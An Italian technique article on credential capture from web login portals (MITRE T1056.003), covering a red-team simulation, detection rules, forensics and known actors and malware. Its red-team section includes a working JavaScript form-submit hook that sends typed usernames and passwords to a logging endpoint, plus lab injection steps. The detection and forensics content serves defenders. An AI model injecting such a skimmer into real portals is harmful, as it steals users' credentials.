Cattura Credenziali da Portale Web: Web Portal Capture (T1056.003)

In un esercizio red team autorizzato, la simulazione di Web Portal Capture parte dall'assunto di aver già ottenuto accesso privilegiato al web server che ospita il portale target. Il vettore iniziale realistico deriva dall'exploit di CVE su appliance edge (Ivanti, Citrix, Fortinet, Pulse Secure) oppure dall'uso di credenziali admin recuperate in fasi precedenti dell'ingaggio.

Su appliance basate su Linux con web server Apache o Nginx, il target tipico è il file JavaScript incluso nella pagina di login o il template server-side. Un pattern comune consiste nell'aggiungere un handler sull'evento submit del form:

document.querySelector('form').addEventListener('submit', function(e){ fetch('/api/log', {method:'POST', body: JSON.stringify({u:this.username.value, p:this.password.value})}); });

L'esfiltrazione può avvenire verso un endpoint locale che scrive su file (evitando traffico egress anomalo) oppure verso un dominio C2 con TLS. Su portali IIS che ospitano OWA o SharePoint la modifica avviene tipicamente su file .aspx o sui moduli HTTP; il malware IceApple ha dimostrato l'efficacia di un modulo .NET che aggancia direttamente il pipeline di autenticazione di Exchange OWA.

Per laboratori controllati, strumenti utili includono BeEF (open source) per comprendere l'iniezione JavaScript lato client, Burp Suite Community (freemium) per intercettare e modificare al volo la risposta del server durante test di concetto, e Caddy o Nginx (open source) per hostare un portale clone in ambiente isolato. Per la fase di persistenza post-modifica, Sliver (open source) e Mythic (open source) offrono framework C2 moderni che supportano callback HTTP camuffati.

La catena d'attacco completa in laboratorio prevede: enumerazione della versione del portale con curl -I verso l'endpoint pubblico, identificazione del file JavaScript principale (spesso login.js, welcome.js o simili), backup del file originale, iniezione del payload minimo, verifica che il flusso di login rimanga funzionante e che le credenziali arrivino al drop point. Un aspetto critico da testare è la resistenza della modifica agli aggiornamenti dell'appliance: molte compromissioni reali vengono scoperte proprio quando una patch sovrascrive il file manomesso e l'attaccante ritenta l'iniezione generando alert.

Durante l'esercizio è fondamentale documentare hash SHA-256 pre e post modifica di ogni file toccato, timestamp esatti, e mantenere un rollback plan per ripristinare il portale al termine del test.

La detection di Web Portal Capture ruota attorno a un principio semplice ma spesso trascurato: i file che compongono un portale di login cambiano raramente, e ogni modifica dovrebbe essere tracciata come evento ad alta severità. Il piano di rilevamento deve combinare File Integrity Monitoring su percorsi selezionati, correlazione con l'attività di processo che ha originato la scrittura e analisi del traffico verso destinazioni non previste.

Su ambienti Windows con IIS, la detection AN1321 si basa sulla combinazione di WinEventLog:Sysmon (in particolare EventID 11 per file create e EventID 23 per file delete) e log IIS. Il web root tipico è C:\inetpub\wwwroot* o percorsi specifici di Exchange (%ExchangeInstallPath%\ClientAccess\Owa*). Va costruito un alert che triggera quando un file .aspx, .js o .cshtml sotto tali percorsi viene modificato da processi diversi da quelli attesi: w3wp.exe legittimo per compilazioni ASP.NET, msdeploy.exe per deploy autorizzati, agenti di gestione della configurazione noti. Editor interattivi come notepad.exe, powershell.exe con redirezione su file, certutil.exe o bitsadmin.exe che scrivono nel web root sono segnali forti.

Su Linux (AN1320) il monitoraggio si appoggia a auditd con regole mirate:

-w /var/www/html/ -p wa -k webroot_change

correlato con eventi di rete NSM che mostrino connessioni in uscita dal web server verso destinazioni non nella baseline. Molte appliance edge espongono log limitati: in questi casi la telemetria di rete (Zeek, Suricata — entrambi open source) diventa la fonte primaria. Un pattern significativo è la presenza di richieste POST verso endpoint della pagina di login che generano poi callback HTTP verso domini esterni raramente contattati dall'appliance.

Su macOS (AN1322), meno comune per portali enterprise ma presente in ambienti di sviluppo, i percorsi macos:unifiedlog e fs:fsusage permettono di correlare modifiche a /Library/WebServer/Documents/ con processi non-web.

Dal punto di vista D3FEND, gli approcci Detect rilevanti includono File Analysis, Web Session Activity Analysis e System File Analysis. Come controlli Harden vanno considerati signing dei file di portale e deploy immutabile tramite pipeline CI/CD con verifica hash.

I falsi positivi principali derivano da aggiornamenti legittimi dell'appliance, patch di sicurezza applicate dagli amministratori e deploy schedulati. La mitigazione operativa consiste nel mantenere una whitelist di finestre di manutenzione e associare ogni modifica a un change ticket. Alert privi di ticket corrispondente devono essere trattati come incident P1, dato che una singola modifica non autorizzata al portale può esporre l'intera identity chain.

L'analisi forense di un caso sospetto di Web Portal Capture parte dalla raccolta immediata dei file del portale nella loro versione corrente, confrontati con la baseline nota (vendor gold image o backup precedente all'incident). Su appliance Ivanti Connect Secure compromesse durante la campagna Cutting Edge, gli attaccanti hanno modificato file JavaScript inclusi nella pagina di login: il diff tra versione compromessa e originale ha rivelato l'aggiunta di poche righe di codice per catturare le credenziali digitate.

La timeline di indagine si costruisce a partire da tre fonti principali. Su Windows con IIS, i log Sysmon EventID 11 e 15 (FileCreateStreamHash) permettono di identificare il momento esatto della modifica e il processo responsabile; i log IIS in *%SystemDrive%\inetpub\logs\LogFiles* mostrano le richieste ricevute prima e dopo la manomissione. Il registro HKLM\SYSTEM\CurrentControlSet\Services\W3SVC e le configurazioni applicationHost.config vanno acquisiti per verificare l'assenza di moduli HTTP aggiunti (pattern osservato con IceApple, che si registra come modulo IIS/OWA).

Su Linux, i timestamp MAC dei file del web root vanno estratti con stat e correlati con auditd log e con last/wtmp per identificare la sessione amministrativa che ha effettuato la modifica. Se l'appliance è un dispositivo chiuso, spesso l'unico modo è ottenere uno snapshot completo dello storage e analizzarlo offline con Autopsy (open source) o Volatility 3 (open source) per la memoria, cercando stringhe caratteristiche come pattern base64 di esfiltrazione o URL C2.

Gli artefatti digitali rilevanti secondo il framework D3FEND includono File, Process, Network Traffic e Authentication Log. La cross-correlation più preziosa è tra i log del portale (che mostrano login apparentemente legittimi) e i log dei sistemi interni raggiunti con quelle stesse credenziali: differenze di geolocalizzazione, user-agent anomali o orari fuori pattern indicano l'uso malevolo delle credenziali catturate.

Per il caso WARPWIRE, il malware ha catturato credenziali durante il logon web ed è stato riscontrato in scenari dove le credenziali venivano poi usate per accedere a servizi di livello 7 come RDP. L'analisi forense end-to-end deve quindi estendersi ben oltre l'appliance compromessa, includendo domain controller, jump host e sistemi target dei movimenti laterali.

Come elemento della campagna Triton Safety Instrumented System Attack, TEMP.Veles ha redirezionato codici di login testuali verso siti controllati durante cambi password: un pattern che suggerisce di conservare in evidenza qualsiasi form di reset o rotazione credenziali presente nel portale, spesso trascurato rispetto al login principale.

Il panorama degli attori che impiegano Web Portal Capture copre uno spettro che va dall'espionaggio state-sponsored alla sabotage industriale, con un pattern ricorrente: la tecnica emerge quasi sempre dopo la compromissione iniziale di appliance edge o webmail enterprise.

Winter Vivern (G1035) rappresenta il caso d'uso più orientato al social engineering strutturale: il gruppo ha registrato e ospitato domini progettati per replicare portali email governativi legittimi, raccogliendo credenziali di funzionari attraverso pagine di logon clonate. Questa variante è meno una modifica di portali reali e più una loro riproduzione fedele su infrastruttura controllata, ma il meccanismo di raccolta credenziale si sovrappone concettualmente. Winter Vivern è associato a operazioni di intelligence contro target europei e istituzioni allineate all'occidente.

Gli attori dietro la campagna Cutting Edge (C0029), tracciati come UNC5221/UTA0178 e UNC5325 con nexus cinese, hanno rappresentato il salto di scala della tecnica. Tra dicembre 2023 e febbraio 2024 hanno sfruttato zero-day su Ivanti Connect Secure per iniettare codice JavaScript nella pagina di login, catturando credenziali di dipendenti della difesa industriale statunitense, telecomunicazioni, aerospazio, finanza e tecnologia su scala globale. Il tradecraft ha combinato defense evasion, living-off-the-land e deploy di web shell e malware custom, con la modifica del portale come componente per persistenza credenziale a lungo termine.

TEMP.Veles, autore della campagna Triton Safety Instrumented System Attack (C0030) tra giugno e agosto 2017, ha portato la tecnica in un contesto ICS/OT contro un impianto petrolchimico. Il gruppo ha catturato credenziali durante processi di cambio password redirezionando codici di login verso siti controllati, dimostrando come Web Portal Capture possa essere adattata anche ad ambienti di safety instrumented system.

Sul fronte tooling, IceApple (S1022) è emerso come framework post-exploitation modulare con un componente specifico per Exchange OWA che monitora le richieste di autenticazione e logga le credenziali: la sua attribuzione tende verso operatori con nexus cinese. WARPWIRE (S1116) è invece associato alla catena Ivanti/Cutting Edge e si specializza nella cattura durante il web logon per abilitare accessi RDP successivi.

Il trend principale è la convergenza tra sfruttamento di zero-day su appliance edge e installazione di stealer di credenziali direttamente sul portale: un pattern che sposta il baricentro difensivo dal singolo endpoint dell'utente alla protezione perimetrale delle superfici di autenticazione. Le organizzazioni con VPN SSL, OWA o portali SSO esposti dovrebbero considerare questi asset come primari target di threat modeling.

MITRE ATT&CK: T1056.003 Web Portal Capture, tattiche TA0006 e TA0009. Gruppi: G1035 Winter Vivern. Software: S1022 IceApple, S1116 WARPWIRE. Campagne: C0029 Cutting Edge, C0030 Triton Safety Instrumented System Attack. Mitigazione: M1026 Privileged Account Management. Detection: DET0480 con analytics AN1320 (Linux), AN1321 (Windows), AN1322 (macOS). Framework difensivo: MITRE D3FEND. Integrazioni da conoscenza professionale di cybersecurity per comandi auditd, Sysmon e strumenti open source citati (BeEF, Burp Suite, Sliver, Mythic, Autopsy, Volatility, Zeek, Suricata).